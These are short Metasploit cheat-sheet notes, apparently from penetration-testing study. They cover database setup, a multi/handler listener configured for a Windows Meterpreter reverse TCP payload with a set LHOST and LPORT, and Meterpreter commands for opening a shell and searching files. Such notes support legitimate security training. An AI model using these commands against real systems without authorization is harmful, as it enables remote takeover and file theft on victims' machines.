First Connect Metasploit to psql db.

sudo msfdb init
sudo systemctl enable postgresql

To launch Metasploit:

msfconsole

Using Multi Handler: Change Payload, Rhost, Rport, Lhost and Lport accordingly

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.45.156
set LPORT 4444
EXPLOIT

Instead of exploit we can use run or run -j. run -j will keep the process running in the background.

Meterpreter session:

To get a fully interactive shell.

shell

To search a File in Meterpreter Session. meterpreter >

search -f FILENMAE